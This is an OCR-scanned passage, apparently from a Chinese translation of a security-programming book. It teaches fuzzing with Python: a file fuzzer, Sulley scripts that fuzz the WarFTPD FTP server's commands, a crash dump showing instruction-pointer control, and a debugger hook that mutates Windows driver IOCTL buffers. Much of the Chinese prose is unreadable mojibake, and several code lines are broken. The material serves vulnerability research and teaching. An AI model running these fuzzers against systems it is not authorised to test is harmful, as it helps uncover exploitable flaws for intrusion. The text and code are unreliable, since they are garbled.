print "[*] file_fuzzer.py -e <Executable Path> -x <File Extension>"
print "[*]"
sys.exit(0)

n n

if name ==" main_ "
print "[*] Generic File Fuzzer."
# This is the path to the document parser
# and the filename extension to use
try:
opts, argo = getopt.getopt(sys.argv[1:],"e:x:n"
except getopt.GetoptError:
print_usage()
exe_path = None
ext = None

notify = False

for 0,a in opts:
ifo=="-e"
exe path=a
elif o =="-x":
ext=a
elifo=="-n"
notify = True
if exe_path is not None and ext is not None:
fuzzer = file_fuzzer( exe_path, ext, notify )
fuzzer.fuzz()
else:

print_usage()

IAEFATIN file_fuzzerpy A C ARSI E G AITSHT . e Wi nii 2 fuzz [1)
HARFRIP (B AT -x ST BT ZE A IR S 9 e 44 s 284011 exe 5t vt B B AT 22
FSCAS SCAFAE A AR o« -n JETS F fuzzer J&t 75 Z42 GH A1

S AR fuzzer 575, WU AENAR H AR TR W HE S5 R TR 45 o 7F fuzz
SCARSCARRI IR, H Windows 102 AE FHUFANEL G T o BN IRBERS HH21G 24— IRIM 4L
PR, LS g as A HERI LG TR IR 2 . #E)H3) file_fuzzerpy JHAZ
HT, T AR A BT H st BB A H 3% examples F1 crashes « SRJ57E examples H 5% FAF



JBOUA BAtxt 85 I SCAT, B (a0 fir & ) sh A .
python file fuzzer.py -e C:\WINDOWS\\system32\\notepad.exe -x .txt

B ICSE ARG B, VREEFR BT S0 o AEXARTE 2 e R & LU, Retnl
DU X A file fuzzer AN FIFEFE T -

8.3 iR Fuzzer

HBREATCZEIE T A fuzzer, 1M HHE AL EIAL 2 AN,
L8 bug. (HZAEMEAESE KA B ISR AR K.

etld

:mb
[y

gk —

ol

8.3.1 Code Coverage

Code coverage A& — MR, WMEG U H AR Pt #Ed, $UT T 3. Fuzzing &
K Charlie Miller &R, F332H bug =AM Code coverage MK BIE L. ABER
NVELAEWIWE S5 S T VE I, 760k fuzz EHARFERE (RIS, A R 28 A8 B bR ke b
A R A BB A, RS A R IR 20 2 fuzz HARIERE, ARAEHRE] bug Ak b
1) R BB, URBI S RN TE 1 ) fuzz (80% I B Z R4 H] Code coverage 15 A% 451,
PRATELR ST B AIMAAR K file fuzzer.

8.3.2 Automated Static Analysis

T8 ik ek = 3k ) S F 3E 4T Automated Static Analysis( H s b I E A M), BENE HE B
bughunter 5 = 251 $ H HARACRD 1959 . FRESAE Z) BAS IR E (5lan strepy ), B-JFE JAR AT
HPATIERE, SERG MR EFIRZ M, i eRER N e+ DUERAE, 208
AL ER R BEACAY, 5555 X HARK R T2, 3 bug IIBLS oK

FX L RE ARGV fuzzer, SR KIIFE MRS G0 TAERE . A& T
fuzzer (WIS e 2 AEH BN, RS ABIDhaed sk, Ras Bl A RAGLE AT e o
IR, 22 AR H2 T oRAETRANTE R — A% T Python [1) fuzzing HE4E (Pedram Amini

,Aaron Portnoy of TippingPoint). Z J5IRATESIRANH KN —A fuzzer 1F i ioctlizer, T
AR T VO IR Windows BXE) ) il o
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SULLEY

Sulley % KA T-H 5 (Monsters), —kBIGIECPEY) . DK EE 21 Sulley
W — MY, ORI T Python 1 fuzzing HEALHIPEY) (FEIX L AEIRA VKB flA]: Pedram
Amini Fll Aaron Portnoy of TippingPoint). Sulley AMYUAIE—A fuzzer; &bA AT
ik, BIBRMEEAR (VMWare automation). £F fuzzing FId FE /R o] DLAEAT B %1,
TLA 08 HAREE A R I, OB R sh AR 7 20T — %1, 4k2:3-4K bug Z K« In short, Sulley is
badass.

Sulley Al SPIKE (& Z MY fuzzing T H, MREEM0LMN)D —FEH T %dE
FoR, PFTVERSEARE SR T, ARk . b IRATE B At
TP fuzzing FiAR, 784 BRECYE 11, AR 20U X p a2 SO p X, see— AN gl
AERIHESE, MEALHUS AT REVEA R 5 T il (Bl e =0 A7 B, Bk, it
AHRERE, HaA s MAREE w2 BRGS0 I S P £ 8 45 11 T il
MRRMIAESE, T fuzzing. IXIECOARG R R H B2 0 T 28 00 fuzz INE
HEe 2501, fEMLEt, —MBAS FBAA K il sk, WA Ak il £ 1
Iy s AR, MEAA SRR, BIRS A, iR KAGdsx, B3iiF 2R
MIEdE, IXFEAE fuzzing FIRE, FRARXMERRH bug T o FETHIGHAR N E 6757 4b BEIX LE 40 Hin
PUE IR A, AR AR o Bl AR, AR BT

FERRBMSTEA M UFE Sully, MZZEBIAEH] . Seig Pudi i) T #i# Sulley il 4 protocol
description (PRMHHIA) BIFERGAIIN. A B — MU, fuzzing HEZL, Gffizk, LA
DR ) SEHE 1 fuzzer. FRAT] fuzzing 1) H brifk & WarFTPD, AR A AE AR o I3k
fuzzer 50 W72, HA TR PEE, WA R —AN, BRI fuzzer IEA
B, WA A HRBR I, ISRV M o X IR FRATIR AN, W RARE A TR F T
n] LLEF Pedram 1 Aaron 5 [f] Sulley manual. 4f 7, 1bFRATIZREE,

9.1 %% Sulley

ERATENE R Sulley 2 01, Bk 3k, k. KK LM
http://www.nostarch.com/ghpython.htm F#& zip 7611 Sulley JAHS . (FRANTIIERTE, PHE
wHF], http://sulley.googlecode.com IEHA 57 ).

FESER G, itk Sulley, 7EH % N3 sulley, utils Fl requests
AR, AR5 R HIF) C:\Python25\Lib\site-packages\ F 3% T o IX 4Lk & Sulley A% Lro H2 N 2K
L TG S Ao

—/ WinPcap, —# IR KM RIEI M 22, HT windows -6 NI . Hin



R MRER I [R5, XX ARG NAZ TR AR T, Bl E N LER/ ERTN, KO0
R RIZR . Winpeap 8% 2 BN S5 F 4 TH, NEN RS . Sulley 15 H & il #€ 9 4%
iﬁ%o Tk http://www.winpcap.org/install/bin/WinPcap 4 0 2.exe.

B ROk 2B python FE: peapy 1 impacket,, F1_LJHI) WinPcap FERC A . ‘EA1#NH
CORE Security $2fit. Pcapy #& WinPcap ] Python %11, impacket JUJ §71 57 £ i) fift o Fl 631 7.
pcap [ 2k http://oss.coresecurity.com/repo/pcapy-0.10.5.win32-py2.5.exe.

mpacket [] 2 HHE http://oss.coresecurity.com/repo/Impacket-stable.zip. % 5¢ i fift [k 3
C:\ directory, A\ H 3k AT LA T i 4
C:\Impacket-stable\Impacket-0.9.6.0>C:\Python25\python.exe setup.py install

—Unss, EMEY!

9.2 Sulley primitives

TEBATTIF AR T RN HAR3) T, 2005658 XUF P47 ) building blocks (R ), ixXLElh
DT AE B SCH IS RIS o Sulley $R4E 15T 75 B R B g =X, S FRAT 161 2 17 5 v A%
1) protocol descriptions &AL T (A, 1% L8 B F B 414N A primitives (BRI Do FRATTSE ]
FUFR — 2% fuzz WarFTPD I {5 & H 2 /9 primitives o — FLAREL A T i o] 4 H L — A
primitives, HSF N MIBLIRA S T o

9.2.1 Strings

FFFH (Strings) 2 H 5% 2 1) primitives . FIALHESE 74578, H P4, ip hht, HR5%
s_string()F5 2 RS INZEMEAE 1) primitives & — A1) fuzz A5 . s_string) A —4
SRR AR R, AT E R IR A . i, R fuzzing —> email Hilik:

s_string("justin@immunityinc.com")

Sulley 234" justin@immunityinc.com *4E— M RMH, REHATEMEIE, &EYPI4H
WFET . AERATE S email HlbAE R T A4 FE.

justin@immunityinc.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA

justin@%n%n%n%n%n%n.com
%d%d%d@immunityinc.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA

9.2.2 Delimiters

Delimiters(xE F15), JH 1K K 0054 8 73 Tl e 19 25 5 8 BRIK) v B o 82 TS AT email
b7, M s_delim()8-4 AEE K & 73 B L 2 1) fuzz T4 H



s_string("justin")

s _delim("@")
s_string("immunityinc")
s_delim(".",fuzzable=False)

s_string("com"

Wit s delim(), FRATHF: email Hidik 7Bl 17 LA, I HA5 U Sulley, FRATTE fuzzing
A EAE ] ), HEREMN@ .

9.2.3 Static and Random Primitives

s_staticOAll s_random(), B4 S, 25— MERAN KA KA, 5 AMEREREYLT

s_static("Hello,world!")
s_static("x41\x41\x41")

s_random() A LABEHL ™ A A2 K HicHs
s_random("Justin",min_length=6, max_length=256, num_mutations=10)
min_length 1 max_length %+ Sully 22 JE J& &4 MK FEYEH,  num_mutations o4 7 &

SR, RN UEL BRI 25 IR,
FEIRATEE] 1, A Justin"VE RS, 21 10 IRBTE, 74 6-256 MJEH 747 .

9.24 Binary Data

Binary Data( i il #5042 2ot Fom b i) 5 1 42 ). Sullyey JL-F-fig /b3 P43 — 2 il 4
P o HFRATTAE AL BE— LR AN LR S A R I, RV B R R I S5 2 A2 T [BY FAT
A IR X A R L
R, IXE% s binary() stAEWHH T
s_binary("0x00 \\x41\\x42\\x43 0d 0a 0d 0a")

Sully HE VU BT A IR EHE , ARJE R e =7 A/ R A

9.2.5 Integers



Integers(HE ) (N HITEAEANAE, IBET (10 DL W SCHd A AN 0 bl BLK
HAE e, #Ahhaitly, F55.
R O-1 5 T Sulley SZHFI T2 LRHAEECEAL

1 byte —s_byte(), s_char()

2 bytes —s_word(), s_short()

4 bytes —s_dword(), s_long(), s_int()
8 bytes —s_qword(), s_double()

Listing 9-1: Sulley 735 KR

AT R 48 803 8 SR AT LA T () (A3 I o endian I 7 B2 40K LUAT A RE I 2 30 AR B Y
K,y Je /M- (<) A K- GRS T BRIMELT- /N » format T P AN W 3E4H , ascii A1 binary;
I IEECE R Tl o 284007, ROk — M ASCI A% &or & 1, H binary 7R
X311, signed T Ut B KR A FF 5 G 2 TR 5 1, XA A TE format $5 €4 ascii
Ja AR, BRMLT Falseo f5Ji— /MM IEIE full range, Jo HIX/MEDILL)S, Sulley &t
SIE—AMRT (150 B AR 28 W] RE RS o 2800, an SRR AR AT — DN ERF 5 11
B, A full range ¥ E K True, X Sulley it 2318 2 AE I AR 0 S8 (B ol o 8 i e
KAl B I e/ ME) T 5 1 e KA S 65535, Sulley 52318 181 65534, 65535, 65536
ZHATIAR . full_range BRIAH False, BN nI A28 nl 2R . BHAE N HmE 1.

s_word(0x1234, endian=">", fuzzable=False)
s_dword(0OxDEADBEEF, format="ascii", signed=True)

AT, BATRE T A 2 P RAMIME 01234, JF FURE &Ry e B o
[l — AN AR 28 =AM 7, JATTRE T4 4 715 (A7) K/MRI{E 0xDEADBEEF,
I HAEM AR5 R, BLASCIT R .

9.2.6 Blocks and Groups

Blocks(#)Groups(4)/2 Sulley FEAL 158 KL T H . Blocks K A7) primitives 212
e MNIE PRI . Groups WAL T —LEHF E 1) primitives, — Group Fl1-—> Block &5 %
Ji, TR fuzzer i H Block [FEM, #BEK Group W IMAIE IEIAECE , 4LRANF 1H) Block

N R —AME B fuzzing HTTP 41 .

# import all of Sulley's functionality.

from sulley import *

# this request is for fuzzing: {GET,HEAD,POST,TRACE} /index.html HTTP/1.1
# define a new block named "HTTP BASIC".

s_initialize("HTTP BASIC")

# define a group primitive listing the various HTTP verbs we wish to fuzz.



s_group("verbs", values=["GET", "HEAD", "POST", "TRACE"])
# define a new block named "body" and associate with the above group.
if s_block_start("body", group="verbs"):
# break the remainder of the HTTP request into individual primitives.
s_delim(" ")
s_delim("/")
s_string("index.html")
s_delim(" ")
s_string("HTTP")
s_delim("/")
s_string("1")
s_delim(".")
s_string("1")
# end the request with the mandatory static sequence.
s_static("\r\n\r\n")
# close the open block, the name argument is optional here.
s_block end("body")

FEFP— TR BATh € LT MY verbs (W4, Hrh G5 TP HTTP 1 REM . 2 J55E
ST A body I8, I HAN verbs 4140 E . XA, LG Sulley B body W AR
TEHAE KN, #2 G ER ) 3KIU(GET, HEAD, POST, TRACE)S Flifisk 73, &XFE—k, —
X body W HIAZTE#AH 24 1742 5 ASANF ) body -

FIHATCA L, TATCLUHESE T Sulley FIFERATIR. 248 Sulley AU IIIL, &4
Pfts, RAHE, KA PRESE . BN W20 IR Pedram 5 1) Fuzzing:
Brute Force Vulnerability Discovery (Addison-Wesley, 2007), —A%Zi4 T Sulley 1 fuzzing AH
KPR G BUEZITA% WarFTPD T 51« JATE5E 618 A ) primitive 225, AR5
et 45 o kg i Bt T HESE A

9.3 &} WarFTPD

ERAMTE L2427 Wi ] Sulley primitives 1] % protocol description(Fh i i # )2 & o
PAE AT AEAKPGRIR T T o IR H bRt WarFTPD 1.65. [ i# Hi 7 USER Hl PASS fir
L5 b, AL S B, St s U o XA AR S A, H I ) T S
woMm® oW om o, W AN T B case B A E o kM
ftp://ftp.jgaa.com/pub/products/Windows/WarFtpDaemon/1.6_Series/ward165.exe | # L. £
YT H SRR T2 G, BHEHAEAT warftpd.exe SRS 3l FTP k%5 1 . 1A H Sulley P51
Y Z AT, EIRATSE T N FTP PRl TAR R .

9.3.1 FTP 101



FTP J&— MR R A SCARAR R DI, ) 2 A T2 Rt AN Web JIi 5% & 51
P TENHL. FTP RSS2 BRINAES 11 21 FISWr oo AL I v & o BUAEFRATT 22 788K FTP
B, N R 55 ds ROE AR T ) i A e SRR IR SS A B . G SRARIUR SE T
WarFTPD [ fuzzer, Jil& 7 e & 5800 M 1 B2 4

A FTP [ 55 21Ukl LA BB AN B R AR B 4 D 1) 238 A o B IR AIE V) ) o [
Jg WarFTPD [ i £ USER Al PASS 4 b, J7T DARAT e s 55 XA A ) - FTP
IR 4 (R

USER <USERNAME>
PASS <PASSWORD>

—HE PN T AR P 2RSS, RS AW & o, fRhmsctr, el
K, PO O ZE SRR » 2494R USER A1 PASS fiv4 H & FTP JIRSS it sh e b il — A1
8, FEVIERINEIEERZHINEE, Wk 9-2. 1KLL iy 2 A I B BA TR P B il
HEZZ (protocol skeleton) ™. FTP P 1E4N a2, 15 A rfc959.

CWD <DIRECTORY> - change working directory to DIRECTORY
DELE <FILENAME> - delete a remote file FILENAME

MDTM <FILENAME> - return last modified time for file FILENAME
MKD <DIRECTORY> - create directory DIRECTORY

Listing 9-2:RATEHS fuzz ) FTP 64

T BIR BARAG TR, HiEy K T AEE, AL LEBATE) THEEA S K protocol

description

9.3.2  fJE FTP hilAELE

SELVEOH, 2 A

#ftp.py

from sulley import *
s_initialize("user"
s_static("USER")
s _delim(" ")
s_string("justin")
s_static("\r\n")
s_initialize("pass")
s_static("PASS")

s _delim(" ")
s_string("justin")
s_static("\r\n")



s_initialize("cwd")
s_static("CWD")

s _delim(" ")

s _string("c: "
s_static("\r\n")
s_initialize("dele")
s_static("DELE")

s _delim(" ")
s_string("c:\\test.txt")
s_static("\r\n")
s_initialize("mdtm")
s_static("MDTM")

s _delim(" ")
s_string("C:\\boot.ini")
s_static("\r\n")
s_initialize("mkd")
s_static("MKD")

s _delim(" ")
s_string("C:\TESTDIR")
s_static("\r\n")

protocol skeleton 5¢ M2 i, ik FfITFAEEIEE Sulley £, AT O R A5 BB k.,
RT3 PR AR 2 S S TR

93.3  Sulley &iF

Sulley S il TsREGE AT, MU i, AR, ARy, AMEPL
PEe SEIRIRATE SC— D UECHE, ARG VR A 7 AT RS 00

#ftp_session.py
from sulley import *
from requests import ftp # this is our ftp.py file def receive ftp banner(sock):
sock.recv(1024) sess = sessions.session(session_filename="audits/warftpd.sess target
= sessions.target("192.168.244.133", 21) target.netmon = pedrpc.client("192.168.244.133",
26001) target.procmon = pedrpc.client("192.168.244.133", 26002)
target.procmon_options = { "proc_name" : "war-ftpd.exe" }
# Here we tie in the receive ftp banner function which receives
# a socket.socket() object from Sulley as its only parameter
sess.pre_send = receive_fip banner sess.add_target(target) sess.connect(s_get("user"))
sess.connect(s_get("user"), s_get("pass"))
sess.connect(s_get("pass"), s_get("cwd"))



sess.connect(s_get("pass"), s_get("dele"))
sess.connect(s_get("pass"), s_get("mdtm"))
sess.connect(s_get("pass"), s_get("mkd"))
sess.fuzz()

receive ftp banner();& L2, BIABEA FTP MRS #o 70 & bimie g LI I, #ia k%
banner(briR). FATFE R sess.pre_send HhiEdL >k, IXFE Sulley K% fuzzing EHHE I (11 %
W2 56 # W FTP banner. fl receive ftp_banner —Ff, pre send t 4% —> i1 Sulley 1% 1)
sock XJ %o H— DA NG, HTds 400 fuzzer FPIRZES, [RIB4EH] fuzzing
(i A 1 o 55 o B IR B b, 4% TP HuhEASg 145 o IX BL UG B K 192.168.244.133
g 21 (X EIRATIZAT WarFTPD REFIALIR IP) . 25 =20, e M4 AR 15 124 26001, TP
HuhE A FTP IS5 ds it —+F, XA HH 1852 Sulley K 4. SB0UA, BB I
SRR IT A 3 1 26002, 3X AN 1 FRRU Sulley & HE R /iy 2 procmon_options %6171 45 1
PWRAZR TRATTGE M IFE & war-fipd.exe. H N, TESWEHMAE LT H RS . 5820,
¥ FTP RIS A AL T Sk, REHERIERR & T E BB N e
J33)) Sulley J11f fuzzing.

IMAETRAT e by T &%, Ay TiEkiES . HB TSRS AR R E T H1X—
DI TE ORI fige, sk o] LA B4 T35 1 o

934 MR

Sulley AL 2 — sl & BE IR L BR IS fuzz AT B A B, PAK HAR RGBS
B XAETRATREAE S — I TR) A 2347 5 DS H A it OBl 6, AR5 DR (R I explloit.e

7€ Sulley it 3= H 5 F ] LL#k 3] process_monitor.py Al network monitor.py PiANEIAS, A
AT153 ) A g A 8% M A 0 R M 92

python process_monitor.py
Output:
ERR> USAGE: process_monitor.py
<-c|--crash_bin FILENAME> filename to serialize crash bin class to
[-p|--proc_name NAME)] process name to search for and attach to
[-1]--ignore_pid PID] ignore this PID when searching for the
target process
[-1]--log_level LEVEL] log level (default 1), increase for more
verbosity
[--port PORT] TCP port to bind this agent to

W A B BERE A

python process_monitor.py -¢ C:\warftpd.crash -p war-ftpd.exe



PR A1 AW E T A TG 1 26002, BT AAS FH-p 1ET5

$: 1 >k network_monitor.py . 7EIX 2 FI F5 4L 2B LN F: WinPcap 4.0,
mpacket.

python network monitor.py

Output:

ERR> USAGE: network monitor.py
<-d|--device DEVICE #> device to sniff on (see list below)
[-f]--filter PCAP FILTER] BPF filter string
[-P|--log_path PATH] log directory to store pcaps to
[-1]--log_level LEVEL] log level (default 1), increase for more verbosity
[--port PORT] TCP port to bind this agent to

Network Device List:
[0] \Device\NPF_GenericDialupAdapter

[1] {83071A13-14A7-468C-B27E-24D47CB8E9A4} 192.168.244.133

FEIX AT EAL U2 — S L. R A 326 A%
python network monitor.py -d 1 -f "src or dst port 21" -P C:\pcaps\
FeoR: AEJHBZ LIS #AT Co\peaps H 3k o

VI, TR

9.3.5  fuzzing 1 Web F1H

BUEBAT R B0 Sulley, IFAEHT A B Web SIS A fuzz WL 2.
python ftp_session.py
i r .

[07:42.47] current fuzz path: -> user
[07:42.47] fuzzed 0 of 6726 total cases
[07:42.47] fuzzing 1 of 1121
[07:42.47] xmitting: [1.1]
[07:42.49] fuzzing 2 of 1121
[07:42.49] xmitting: [1.2]
[07:42.50] fuzzing 3 of 1121
[07:42.50] xmitting: [1.3]

pcapy,



T X RE, U IEH . Sulley IEAEEAT I TAEE . MAEILIRAIE R web
S, eaRtE AR
FHI 55 28 4T JT http://127.0.0.1:26000, HF FIZMUE 9-1 1945 F .

Sulley Fuzz Control RUNNING

Resume

Captured Bytes

Figure 9-1: Sulley f¥] web 510

AN R I 0 B i BE R B 24 AT fuzzing HIHERE, BLAOEAEAE T primitive. 11 9-1
PRexF B IEAE fuzzing ) primitive 52 user, XN AAAEIN I , FEAAZ it e 21k 9-2
It 7

Sulley Fuzz Control RUNNING

Resume

Captured Bytes

Figure 9-2: Sulley web 571 ‘2 7~ ) B 55 B

R4, Wizl AR i AT LN K Crash T WarFTPD, Sulley W 4i#e 2] T FrA A%
MG R BATTAE 2N WX 1 B A5 S A AN BE S 2 0x5c5¢5e5e XA #tik. 0x5Sc it
J& ASCIL FA7\, XA HTAEANMNFR L2, B 7oAl fNFRE, KX 3] EIP. 4
PIRAS 22 g EIP $i7 ) ()AL B A I fize, st 23 2RI, PRIA 0x5c5¢5¢5¢ ANad— AN 241 He
bk IXEWRIRNIC AL mefg s EIP 1, 8T R T K exploit 1! Jshm 2 Wim], Al
L TRATZ A& (R i o A T IX D) IR, AR Sulley ) TAET7 &R 24
BT T fuzzing X G H BRG] A EBUAT T o Good Luck!

AR Rt test case HIELT, Wi BV A BHE S . W3k 9-3

PyDbg 35t i Kk A 60 BT Us 1) B Ab BERE 52 A VEAN M UEE . Sl iR M 25F
Fo

[INVALID]:5¢c5c5c5¢ Unable to disassemble at Sc5c5c5c from thread 252
caused access violation



when attempting to read from 0x5c5c5c5c¢

CONTEXT DUMP
EIP: 5¢5¢5¢5¢ Unable to disassemble at Sc5c5c5c
EAX: 00000001 ( 1) > N/A
EBX: 5f4a9358 (1598722904) -> N/A
ECX: 00000001 ( 1) > N/A
EDX: 00000000 ( 0) > N/A
EDI: 00000111 ( 273) > N/A

ESI: 0082640 ( 9069808) -> PC (heap)
EBP: 00a6tb9c ( 10943388) > BXJ \'CD@U=@_@N=@_@NsA_@NOGrA_@N*A 0 C@
CtN]_@ 0 C@N (stack)
ESP: 00a6fb44 ( 10943300) => ...,,10000ss000, 0t User from
192.168.244.128 logged out (stack)
+00: 5c5c5¢5¢ (741092396) -> N/A
+04: 5c5c5¢5¢ (741092396) -> N/A
+08: 5¢5¢5¢5¢ (741092396) > N/A
+0c: 5¢c5¢5¢5¢ (1 741092396) -> N/A
+10: 20205¢5¢ ( 538979372) -> N/A
+14: 7274663 (1920233059) -> N/A
disasm around:
0x5c¢5c5c5¢ Unable to disassemble
stack unwind:
war-ftpd.exe:0042e6fa
MFC42.DLL:5f403d0e
MFC42.DLL:5f417247
MFC42.DLL:5f412adb
MFC42 DLL:5f401bfd
MFC42.DLL:5f401blc
MFC42.DLL:5f401a96
MFC42.DLL:5f401a20
MFC42.DLL:5f4019ca
USER32.d11:77d48709
USER32.d11:77d487¢b
USER32.d11:77d489a5
USER32.d1l:77d4bccc
MFC42.DLL:5f40116f
SEH unwind:
00a6fcf4 -> war-ftpd.exe:0042e38¢ mov eax,0x43e548
00a6fd84 -> MFC42.DLL:5f41ccfa mov eax,0x5f4be868
00a6fdcc -> MFC42.DLL:5f41¢cc85 mov eax,0x5f4be6c0
00a6fe5¢c -> MFC42.DLL:5f41cc4d mov eax,0x5f4be3d8
00a6febc -> USER32.d11:77d70494 push ebp
00a6ff74 -> USER32.d11:77d70494 push ebp
00a6ffad -> MFC42.DLL:5f424364 mov eax,0x5f4¢c23b0



00a6ffdc -> MSVCRT.dI:77¢35¢94 push ebp
et -> kernel32.d11:7¢839913 push ebp

Listing 9-3:#437 JRAHG =K HBER

Sulley [ ZN H O PHRTER T H5RIX L FUR LA 1 — 84, AR Z R Z WK1,
WA F A, AR, Wi e s g UE,  primitives FIEIEAL I H, 5% . W45
LU, Sulley AP A& Skal AR, 12 FRAT] bug-hunging I FIF)ES . 7EFRATT SR 58 1%
TIPS fuzz LLG, 2 FRARTRAT] fuzz AHLM) Windows I IIKSIFET, XRIATH B
CH T HE,



10

Fuzzing Windows ZKZJ]

%IT hacker Kt , Bith Windows IX 2 F 2 A FEAHA.
T, WP EHEER S, T4 IRshiRiFsskEgE KT
A HFRA . ZE BT TE FRAT 18 Sulley $% H T WarFTPD f) %8 HIRR.

WarFTPD 7L FEIHLES EH— 2R P E 8, AET i e 25, kg —4
BRI, XA — B RN, TR, AR 205 BACIERI, AR 2 IR 45 #5075 Ial A
T o WX IHEIRATHA — A AHIK N exploit, HSwtAEN BABRIETH B RG], you are
god now!

IKFHE NI N Is AT, ERAT AR P P B R IEAT, b TR M R T 28
., #EAfH IOCTLs (input/output controls ). 4 IOCTLs AbPRARAL A ] (1 I, FeA Tl
REAH B AR ICR G PR

BN, BATECBENA T el i S TOCTLs SRAUA M e & TR, IF H 2%
{f H Immunity 28 J¥ IOCTLs 5. 2A)5, “#2H Immunity $2{EH) driverlib FESREIRBNE
B BN AN BT B IR S SCPE rp g b B s iR, w4, A TIOCTL AU, f
Ja I drivelib 384G ()£ 4 fa R E s, A foctlizer (IR [1)—ANIKB) fuzzer) MEAT—IR

driver fuzz.
10.1  IXFNEE

JLFREANE Windows L E T I AKSIRE R AT — N Bef 4 f— RS . R
PR RE ST A 5 B B2 SR IR R O, A P X A O ARSI I AR o EL R
Y

HANDLE WINAPI CreateFileW(
LPCTSTR IpFileName,
DWORD  dwDesiredAccess,
DWORD  dwShareMode,
LPSECURITY_ ATTRIBUTES IpSecurityAttribute
DWORD  dwCreationDisposition,
DWORD  dwFlagsAndAttributes,
HANDLE hTemplateFile



F—ASH, WS A ESF R &4, XIS HARIRE) 55 482 . dwDesiredAccess
Feonviiml 773, WEE s (Al LIRS XS, el A EEAE ), GENERIC_READ (0x80000000)
2, GENERIC_ WRITE (0x40000000)5 . dwShareMode X L ¥ & i 0, #/NfE CreateFileW
RIAE H 2 KM T AW 2 )G, A ReVilnl %% . IpSecurityAttributes ¥ & i NULL, FRnfif
HEGA 2 2R R A, I HA BB 7 FE 4k 7K . dwCreationDisposition 2 5 ¥ & i
OPEN_EXISTING (0x3), LW EKAF(EHATI, HRMWEIGR B BE WS 505
BAL[P) U % NULL.

2 CreateFileW J¥H iR [Fl— AN A 2 5, FATTEtaEfE ) DeviceloControl ( (H
kernel32.dll ) f&i%—4 IOCTL 451545

BOOL WINAPI DeviceloControl(
HANDLE hDevice,
DWORD dwloControlCode,
LPVOID IpInBuftfer,
DWORD nInBufferSize,
LPVOID IpOutBuffer,
DWORD nOutBufferSize,
LPDWORD IpBytesReturned,
LPOVERLAPPED IpOverlapped

F— A2 CreateFileW iR [2] ) AJ#i . dwloControlCode F& &A% i 45 ¥ £ )3 51 11
TOCTL A% o XA PeE T8 F Sl b AT 4 Difig. 24 IpinBuffer F1— M ZEnh X, {2
TR BRI g KB R EE XA Rl EE@MI]F@%?@HVE (1T, fuzz AR A AR IX.
nInBufferSize M & # 45 K 2 12 11 X (1K /N o 1pOutBuffer 1 IpOutBufferSize, FHjMHANS
B, At TR R [E] )% . 1pBytesReturned 23X 3] 55 s ik 1] ) s 1 K
B Ja AR A )% NULL .

AR TIRBNAZH,, RENSAEAET, TR H AR Immunity, ' Hook
¥ DeviceloControl #X J5i 48 JE iy N 2% i X N IR 508, 52 ) fuzzing every driver .

10.2 F Immunity fuzzing JX %)

AT EAEH Immunity 55 KBS HE, 491 DeviceloControl BRI, s 28 H
FROREN 2 R, ARIREA], Xt FA] Driver Fuzzing fFERY . 40 B — VIR, )5l LUk —
Y TAES H A 3461 PyCommand, A1 EWE X A% Immunity 588 V) TAE: #3k
DeviceloControl, ZZEZZ X Hdin, WA RAG S, B GRS IR HbRFET . Z BT LAEEX)
Hsdtiridsk, 2R RS fuzzing #A5 IR R FEE, 1090 3% A USE 4 i3 JR i it
N 3% ) i

fen BORANEAE B QPSS EREAT S o BRARRAEULBIC RO I bE, 0, At



PERL AR AT A 5, e L 2RO, FRATTIE AT LU RSO, BUARE R RLAUL A S S i 2 4y
AR, ANRERXA] LA A S

TFE A . HrEt—> Python 1A ioctl fuzzer.py.

#ioctl_fuzzer.py
import struct
import random
from immlib import *
class ioctl hook( LogBpHook ):
def init_ (self):
self.imm = Debugger()
self.logfile = "C:\ioctl log.txt"
LogBpHook. init  (self)
def run( self, regs ):
We use the following offsets from the ESP register
to trap the arguments to DeviceloControl:
ESP+4 > hDevice
ESP+8 ->IoControlCode
ESP+C -> InBuffer
ESP+10 -> InBufferSize
ESP+14 -> OutBuffer
ESP+18 -> OutBufferSize
ESP+1C -> pBytesReturned
ESP+20 -> pOverlapped
in_buf=""
# read the IOCTL code ioctl_code = self.imm.readLong( regs['ESP'] + 8 )
# read out the InBufferSize inbuffer size = self.imm.readLong( regs['/ESP'] + 0x10 )
# now we find the buffer in memory to mutate inbuffer ptr =
self.imm.readLong( regs['ESP'] + 0xC )

# grab the original buffer
in_buffer = self.imm.readMemory( inbuffer ptr, inbuffer size ) mutated buffer =
self. mutate( inbuffer_size )

# write the mutated buffer into memory self.imm.writeMemory( inbuffer ptr,
mutated buffer )

# save the test case to file

self.save test case( ioctl code, inbuffer size, in_buffer,
mutated buffer )

def mutate( self, inbuffer_size ):



counter =0
mutated buffer =""

# We are simply going to mutate the buffer with random bytes
while counter < inbuffer_size:
mutated buffer += struct.pack( "H", random.randint(0, 255) )[0]
counter += 1

return mutated buffer
def save test case( self, ioctl _code,inbuffer size, in_buffer,

mutated buffer ):

message = "FEFEHF\"
message += "[OCTL Code: 0x%08x\n" % ioctl code
message += "Buffer Size: %d\n" % inbuffer size

message += "Original Buffer: %s\n" % in_buffer
message += "Mutated Buffer: %s\n" % mutated buffer.encode("HEX")
message += "**F*¥*¥\n\n"
fd = open( self.logfile, "a" )
fd.write( message )
fd.close()

def main(args):
imm = Debugger()
deviceiocontrol = imm.getAddress( "kernel32.DeviceloControl" )
ioctl_hooker = ioctl _hook()
ioctl _hooker.add( "%08x" % deviceiocontrol, deviceiocontrol )
return "[*] [OCTL Fuzzer Ready for Action!"

X %A H BRI Immunity £, HO&487K T LogBpHook 28, M 7 1R/NIIY &,
XA EA T VAN AR AR R TS W T, o3RG AR5 45 K5 1K) TOCT XA,
BN SE, MIANGE XA . FEm AEE AR T, A — AN A T BRI A4
RHT 2 X, KERAGE M o 2GR0 2 b X B 5 N R G2 h X, RAF A4
B JE R FIRCAS R g P R

WA ioctl fuzzer.py JE] PyCommands Hgk & o XAFIRATHAEMH foctl fuzzer My 4
fuzz (R {EH] IOCTLs T ML (WRERES, B khs, sE R#HAF). 3K 10-1 & Wireshark
1 fuzz 2538,

skskok ko

IOCTL Code: 0x00120003

Buffer Size: 36

Original Buffer:
0000000000000000000100000001000000000000000000000000000000000000
Mutated Buffer:



a41003381{f334753457078100f78bde62cdc872747482a51375db5aa2255¢c46¢

skskok ko

skskok ko

IOCTL Code: 0x00001ef0
Buffer Size: 4

Original Buffer: 28010000
Mutated Buffer: ab12d7e6

skskok ko

Listing 10-1: Wireshark [¥] fuzzing % H

ERAVE — KM R IILE W a2 5, £ T KW T WA ] 1 1I0CTL 1844
